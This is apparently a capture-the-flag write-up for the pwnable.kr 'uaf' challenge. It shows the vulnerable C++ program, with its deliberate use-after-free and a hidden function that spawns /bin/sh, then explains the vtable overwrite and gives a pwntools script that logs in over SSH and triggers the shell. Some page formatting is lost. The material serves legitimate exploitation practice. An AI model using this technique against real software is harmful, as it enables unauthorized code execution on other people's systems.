The C++ source code is provided:
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}The program has a simple prompt:
Calls the introduce methods of Man m and Woman w
Source:
Reads argv[1] bytes from file argv[2] into the buffer data
Source:
Frees frees m and w from the heap. No printed output.
Source:
Call Human::give_shell() and print the flag
Dereferencing dangling pointers
Option 1 is allowed even after entering Option 3. This will dereference the dangling pointers m and w
- Since
ManandWomaninheritsHuman, the vtable ofmandwalso contain an entry toHuman::give_shell(). The entry is offset -8 from::introduce()
- Allocation of
mandwconsumes 4 chunks:
- "Jack" string is stored at chunk 0x614ea0
mis stored at chunk 0x614ed0- "Jill" string is stored at chunk 0x614ef0
wis stored at chunk 0x614f20- The first data of
mandwis the vtable address
- After freeing
mandwthrough Option 3, all 4 chunks are freed
| Before Option 3 | After Option 3 |
|---|---|
![]() |
![]() |
After freeing m and w, write data in place of m and w such that the vtable is offset by -8. This way Human::give_shell() will be called instead of ::introduce().
Just overwriting m's vtable (highlighted in image) is enough since we only need to call give_shell() once and man's function gets called first.
Note that the overwritten data must fit in the chunks of m and w which has the size 0x21. This is the minimum chunk size in 64 bit x86 anyway so let's write 8 bytes - just enough for the address.
Also note that since m is the second 0x21 chunk from top chunk, we have to allocate twice.
Concretely,
- Calculate
Man's modified vtable addressmod_vtable_addr= 0x401570 - 8 - Write to payload file as an 8 byte word
- Execute
./uaf 8 {payload_file} - Free memory through Option 3
- Write data through Option 2 twice
- Call
Human::give_shell()through Option 1 cat flag
from pwn import *
mod_vtable_addr = 0x401570 - 8
payload = p64(mod_vtable_addr)
with open("uaf_payload.txt", "wb") as f:
f.write(payload)
remote_payload_location = "/tmp/uaf_payload.txt"
s = ssh("uaf", "pwnable.kr", 2222, "guest")
s.upload_data(payload, remote_payload_location)
p = s.system(f"./uaf 8 {remote_payload_location}")
p.sendline(b"3") # Free m and w
p.sendline(b"2") # Write address to w object
p.sendline(b"2") # Write address to m object
p.sendline(b"1") # Win
p.interactive()










